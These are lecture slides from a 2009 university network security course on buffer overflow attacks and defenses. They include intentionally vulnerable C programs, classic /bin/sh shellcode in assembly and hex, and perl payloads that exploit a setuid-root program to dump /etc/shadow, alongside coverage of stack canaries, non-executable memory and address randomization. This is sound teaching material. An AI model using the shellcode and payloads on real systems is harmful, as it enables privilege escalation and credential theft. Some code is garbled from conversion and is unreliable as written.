Chapter 11
Buffer Overflow

Network Security
Fall 2009
Hanyang University
Eul Gyu Im
Buffer Overflow

- a very common attack mechanism
  - from 1988 Morris Worm to Code Red, Slammer, Sasser and many others
- prevention techniques known
- still of major concern due to
  - legacy of widely deployed buggy
  - continued careless programming techniques
Buffer Overflow Basics

- caused by programming error
- allows more data to be stored than capacity available in a fixed sized buffer
  - buffer can be on stack, heap, global data
- overwriting adjacent memory locations
  - corruption of program data
  - unexpected transfer of control
  - memory access violation
  - execution of code chosen by attacker
BUFFER OVERFLOW EXAMPLE

```c
int main(int argc, char * argv[]) {
    int valid = FALSE;
    char str1[8];
    char str2[8];

    next_tag(str1);    /* str1 = "START" */
    gets(str2);
    if (strncmp(str1, str2, 8) == 0)
        valid = TRUE;
    printf("buffer1: str1(\%s), str2(\%s), valid(\%d)\n", str1, str2, valid);
}
```

$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT), str2(BADINPUTBADINPUT), valid(1)
## Buffer Overflow Example

<table>
<thead>
<tr>
<th>Memory Address</th>
<th>Before gets(str2)</th>
<th>After gets(str2)</th>
<th>Contains Value of</th>
</tr>
</thead>
<tbody>
<tr>
<td>bffffbf4</td>
<td>34fcffbf</td>
<td>34fcffbf</td>
<td>argv</td>
</tr>
<tr>
<td></td>
<td>4 . . .</td>
<td>3 . . .</td>
<td></td>
</tr>
<tr>
<td>bffffbf0</td>
<td>01000000</td>
<td>01000000</td>
<td>argc</td>
</tr>
<tr>
<td></td>
<td>. . .</td>
<td>. . .</td>
<td></td>
</tr>
<tr>
<td>bffffbec</td>
<td>c6bd0340</td>
<td>c6bd0340</td>
<td>return</td>
</tr>
<tr>
<td></td>
<td>. . @</td>
<td>. . @</td>
<td>addr</td>
</tr>
<tr>
<td>bffffbe8</td>
<td>08fcffbf</td>
<td>08fcffbf</td>
<td>old base</td>
</tr>
<tr>
<td></td>
<td>. . .</td>
<td>. . .</td>
<td>ptr</td>
</tr>
<tr>
<td>bffffbe4</td>
<td>00000000</td>
<td>01000000</td>
<td>valid</td>
</tr>
<tr>
<td></td>
<td>. . .</td>
<td>. . .</td>
<td></td>
</tr>
<tr>
<td>bffffbe0</td>
<td>80640140</td>
<td>00640140</td>
<td></td>
</tr>
<tr>
<td></td>
<td>. . d . @</td>
<td>. . d . @</td>
<td></td>
</tr>
<tr>
<td>bffffbdc</td>
<td>54001540</td>
<td>4e505554</td>
<td>str1[4-7]</td>
</tr>
<tr>
<td></td>
<td>T . . @</td>
<td>N P U T</td>
<td></td>
</tr>
<tr>
<td>bffffbd8</td>
<td>53544152</td>
<td>42414449</td>
<td>str1[0-3]</td>
</tr>
<tr>
<td></td>
<td>S T A R</td>
<td>B A D I</td>
<td></td>
</tr>
<tr>
<td>bffffbd4</td>
<td>00850408</td>
<td>4e505554</td>
<td>str2[4-7]</td>
</tr>
<tr>
<td></td>
<td>. . .</td>
<td>N P U T</td>
<td></td>
</tr>
<tr>
<td>bffffbd0</td>
<td>30561540</td>
<td>42414449</td>
<td>str2[0-3]</td>
</tr>
<tr>
<td></td>
<td>0 V . @</td>
<td>B A D I</td>
<td></td>
</tr>
<tr>
<td></td>
<td>. . .</td>
<td>. . .</td>
<td></td>
</tr>
</tbody>
</table>
**Buffer Overflow Attacks**

- to exploit a buffer overflow, an attacker
  - must identify a buffer overflow vulnerability in some program
    - inspection, tracing execution, fuzzing tools
  - understand how buffer is stored in memory and determine potential for corruption
A LITTLE PROGRAMMING LANGUAGE HISTORY

- at machine level, all data are an array of bytes
  - interpretation depends on instructions used
- modern high-level languages have a strong notion of type and valid operations
  - not vulnerable to buffer overflows
  - does incur overhead, some limits on use
- C and related languages have high-level control structures, but allow direct access to memory
  - hence are vulnerable to buffer overflow
  - have a large legacy of widely used, unsafe, and hence vulnerable code
FUNCTION CALLS AND STACK FRAMES
**Stack Buffer Overflow**

- occurs when buffer is located on stack
  - used by Morris Worm
  - “Smashing the Stack” paper popularized it
- have local variables below saved frame pointer and return address
  - hence overflow of a local buffer can potentially overwrite these key control items
- attacker overwrites return address with address of desired code
  - program, system library or loaded in buffer
PROGRAMS AND PROCESSES
STACK OVERFLOW EXAMPLE

```c
void hello(char *tag)
{
    char inp[16];

    printf("Enter value for %s: ", tag);
    gets(inp);
    printf("Hello your %s is %s\n", tag, inp);
}
```

$ cc -g -o buffer2 buffer2.c

$ ./buffer2
Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
buffer2 done

$ ./buffer2
Enter value for name:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Segmentation fault (core dumped)

$ perl -e 'print pack("H*", "41424344454647485152535455565758616263646566676808fcffbf94830408a4e4e4e4e0a");' | ./buffer2
Enter value for name:
Hello your Re?pyy]uEA is ABCDEFGHQRSTUWVXabcdefguyu
Enter value for Kyyu:
Hello your Kyyu is NNNN
Segmentation fault (core dumped)
## Stack Overflow Example

<table>
<thead>
<tr>
<th>Memory Address</th>
<th>Before gets(inp)</th>
<th>After gets(inp)</th>
<th>Contains Value of</th>
</tr>
</thead>
<tbody>
<tr>
<td>bffffbe0</td>
<td>3e850408 &gt; . . .</td>
<td>00850408</td>
<td>tag</td>
</tr>
<tr>
<td>bffffbd0</td>
<td>f0830408 . . .</td>
<td>94830408</td>
<td>return addr</td>
</tr>
<tr>
<td>bffffbd8</td>
<td>e8fbbffbf . . .</td>
<td>e8fffffbf</td>
<td>old base ptr</td>
</tr>
<tr>
<td>bffffbd4</td>
<td>60840408 . . .</td>
<td>65666768 e f g h</td>
<td></td>
</tr>
<tr>
<td>bffffbd0</td>
<td>30561540 0 V @</td>
<td>61626364 a b c d</td>
<td></td>
</tr>
<tr>
<td>bffffbcc</td>
<td>1b840408 . . .</td>
<td>55565758 U V W X</td>
<td>inp[12-15]</td>
</tr>
<tr>
<td>bffffbc8</td>
<td>e8fbbffbf . . .</td>
<td>51525354 Q R S T</td>
<td>inp[8-11]</td>
</tr>
<tr>
<td>bffffbc4</td>
<td>3cfcffbf &lt; . . .</td>
<td>45464748 E F G H</td>
<td>inp[4-7]</td>
</tr>
<tr>
<td>bffffbc0</td>
<td>34fcffbf 4 . .</td>
<td>41424344 A B C D</td>
<td>inp[0-3]</td>
</tr>
</tbody>
</table>

...
void getinp(char *inp, int siz)
{
    puts("Input value: ");
    fgets(inp, siz, stdin);
    printf("buffer3 getinp read %s\n", inp);
}

void display(char *val)
{
    char tmp[16];
    sprintf(tmp, "read val: %s\n", val);
    puts(tmp);
}

int main(int argc, char *argv[])
{
    char buf[16];
    getinp(buf, sizeof(buf));
    display(buf);
    printf("buffer3 done\n");
}
ANOTHER STACK OVERFLOW

$ cc -o buffer3 buffer3.c

$ ./buffer3
Input value:
SAFE
buffer3 getinp read SAFE
read val: SAFE
buffer3 done

$ ./buffer3
Input value:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 getinp read XXXXXXXXXXXXXXX
read val: XXXXXXXXXXXXXXX

buffer3 done
Segmentation fault (core dumped)
**SHELLCODE**

- **code supplied by attacker**
  - often saved in buffer being overflowed
  - traditionally transferred control to a shell

- **machine code**
  - specific to processor and operating system
  - traditionally needed good assembly language skills to create
  - more recently have automated sites/tools
SHELLCODE DEVELOPMENT

- illustrate with classic Intel Linux shellcode to run Bourne shell interpreter

- shellcode must
  - marshall argument for execve() and call it
  - include all code to invoke system function
  - be position-independent
  - not contain NULLs (C string terminator)
EXAMPLE SHELLCODE

```
nop
nop                     // end of nop sled
jmp    find             // jump to end of code
cont:   pop    %esi             // pop address of sh off stack into %esi
        xor    %eax,%eax        // zero contents of EAX
        mov    %al,0x7(%esi)    // copy zero byte to end of string sh (%esi)
        lea    (%esi),%ebx      // load address of sh (%esi) into %ebx
        mov    %ebx,0x8(%esi)   // save address of sh in args[0] (%esi+8)
        mov    %eax,0xc(%esi)   // copy zero to args[1] (%esi+c)
        mov    $0xb,%al         // copy execve syscall number (11) to AL
        mov    %esi,%ebx        // copy address of sh (%esi) to %ebx
        lea    0x8(%esi),%ecx   // copy address of args (%esi+8) to %ecx
        lea    0xc(%esi),%edx   // copy address of args[1] (%esi+c) to %edx
        int    $0x80            // software interrupt to execute syscall
find:   call   cont             // call cont which saves next address on stack
sh:     .string " /bin/sh "     // string constant
args:   .long 0                 // space used for args array
        .long 0                 // args[1] and also NULL for env array
```

90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20

Network Security 2009
EXAMPLE STACK OVERFLOW ATTACK

$ dir -l buffer4
-rwsr-xr-x 1 root knoppix 16571 Jul 17 10:49 buffer4

$ whoami
knoppix

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

$ cat attack1
perl -e 'print pack("H*", "90909090909090909090909090909090", "90909090909090909090909090909090", "9090eb1a5e31c08846078d1e895e0889", "460cb00b89f38d4e088d560ccd80e8e1", "fffffff2f62696e2f7368202020202020", "202020202020202038fcffbf0fa");
print "whoami
";
print "cat /etc/shadow\n";'

$ attack1 | buffer4
Enter value for name: Hello your yyy)DA0Ap is e?^1AFF.../bin/sh...
root
root:$1$rNLId4rX$nka7JlxH7.4UJT419JRLk1:13346:0:99999:7::
daemon:*:11453:0:99999:7:...
...
nobody:*:11453:0:99999:7:...
knoppix:$1$FvZSBKBu$EdSFvuujDkAcH8Y0IdnAv/:13346:0:99999:7:...
MORE STACK OVERFLOW VARIANTS

- target program can be:
  - a trusted system utility
  - network service daemon
  - commonly used library code, e.g. image

- shellcode functions
  - spawn shell
  - create listener to launch shell on connect
  - create reverse connection to attacker
  - flush firewall rules
  - break out of chroot environment
**Buffer Overflow Defenses**

- buffer overflows are widely exploited
- large amount of vulnerable code in use
  - despite cause and countermeasures known
- two broad defense approaches
  - compile-time - harden new programs
  - run-time - handle attacks on existing programs
COMPILE-TIME DEFENSES: PROGRAMMING LANGUAGE

- use a modern high-level languages with strong typing
  - not vulnerable to buffer overflow
  - compiler enforces range checks and permissible operations on variables
- do have cost in resource use
- and restrictions on access to hardware
  - so still need some code in C
**Compile-Time Defenses: Safe Coding Techniques**

- if using potentially unsafe languages, e.g. C
- programmer must explicitly write safe code
  - by design with new code
  - after code review of existing code, cf OpenBSD
- buffer overflow safety a subset of general safe coding techniques
  - allow for graceful failure
  - checking have sufficient space in any buffer
Compile-Time Defenses: Language Extension, Safe Libraries

- have proposals for safety extensions to C
  - performance penalties
  - must compile programs with special compiler
- have several safer standard library variants
  - new functions, e.g. strlcpy()
  - safer re-implementation of standard functions as a dynamic library, e.g. Libsafe
COMPILE-TIME DEFENSES:
STACK PROTECTION

- add function entry and exit code to check stack for signs of corruption
- use random canary
  - e.g. Stackguard, Visual C++ ‘/GS’ option
  - check for overwrite between local variables and saved frame pointer and return address
  - abort program if change found
  - issues: recompilation, debugger support
- or save/check safe copy of return address
  - e.g. Stackshield, RAD
RUN-TIME DEFENSES: NON EXECUTABLE ADDRESS SPACE

- use virtual memory support to make some regions of memory non-executable
  - e.g. stack, heap, global data
  - need h/w support in MMU
  - long existed on SPARC / Solaris systems
  - recent on x86 Linux/Unix/Windows systems

- issues: support for executable stack code
  - need special provisions
RUN-TIME DEFENSES: ADDRESS SPACE RANDOMIZATION

- manipulate location of key data structures
  - stack, heap, global data
  - using random shift for each process
  - have large address range on modern systems means wasting some has negligible impact

- also randomize location of heap buffers

- and location of standard library functions
RUN-TIME DEFENSES: GUARD PAGES

- place guard pages between critical regions of memory
  - flagged in MMU as illegal addresses
  - any access aborts process
- can even place between stack frames and heap buffers
  - at execution time and space cost
OTHER OVERFLOW ATTACKS

- have a range of other attack variants
  - stack overflow variants
  - heap overflow
  - global data overflow
  - format string overflow
  - integer overflow

- more likely to be discovered in future
- some cannot be prevented except by coding to prevent originally
REPLACEMENT STACK FRAME

- stack overflow variant just rewrites buffer and saved frame pointer
  - so return occurs but to dummy frame
  - return of calling function controlled by attacker
  - used when have limited buffer overflow
  - e.g. off by one

- limitations
  - must know exact address of buffer
  - calling function executes with dummy frame
RETURN TO SYSTEM CALL

- stack overflow variant replaces return address with standard library function
  - response to non-executable stack defenses
  - attacker constructs suitable parameters on stack above return address
  - function returns and library function executes
    - e.g. system("shell commands")
  - attacker may need exact buffer address
  - can even chain two library calls
**Heap Overflow**

- also attack buffer located in heap
  - typically located above program code
  - memory requested by programs to use in dynamic data structures, e.g. linked lists
- no return address
  - hence no easy transfer of control
  - may have function pointers can exploit
  - or manipulate management data structures
- defenses: non executable or random heap
/* record type to allocate on heap */
typestruct struct chunk {
    char inp[64];      /* vulnerable input buffer */
    void (*process)(char *);    /* pointer to function */
} chunk_t;

void showlen(char *buf) {
    int len; len = strlen(buf);
    printf("buffer5 read %d chars\n", len);
}

int main(int argc, char *argv[]) {
    chunk_t *next;
    setbuf(stdin, NULL);
    next = malloc(sizeof(chunk_t));
    next->process = showlen;
    printf("Enter value: ");
    gets(next->inp);
    next->process(next->inp);
    printf("buffer5 done\n");
}
HEAP OVERFLOW EXAMPLE

$ attack2 | buffer5
Enter value:
root
root:$1$4oInmych$T3BVS2E3OyNRGjGUzF4o3/:13347:0:99999:7:
daemon:*:11453:0:99999:7:
...
nobody:*:11453:0:99999:7:
knoppix:$1$p2wziIML$/yVHPQuw5kv1UFJs3b9aj/:13347:0:99999:7:
...
GLOBAL DATA OVERFLOW

- can attack buffer located in global data
  - may be located above program code
  - if has function pointer and vulnerable buffer
  - or adjacent process management tables
  - aim to overwrite function pointer later called

- defenses: non executable or random global data region, move function pointers, guard pages
GLOBAL DATA OVERFLOW EXAMPLE

/* global static data - targeted for attack */
struct chunk {
    char inp[64];       /* input buffer */
    void (*process)(char **ptr to function *)
} chunk;

void showlen(char *buf)
{
    int len;
    len = strlen(buf);
    printf("buffer6 read %d chars\n", len);
}

int main(int argc, char *argv[])
{
    setbuf(stdin, NULL);
    chunk.process = showlen;
    printf("Enter value: ");
    gets(chunk.inp);
    chunk.process(chunk.inp);
    printf("buffer6 done\n");
}
SUMMARY

- introduced basic buffer overflow attacks
- stack buffer overflow details
- shellcode
- defenses
  - compile-time, run-time
- other related forms of attack
  - replacement stack frame, return to system call, heap overflow, global data overflow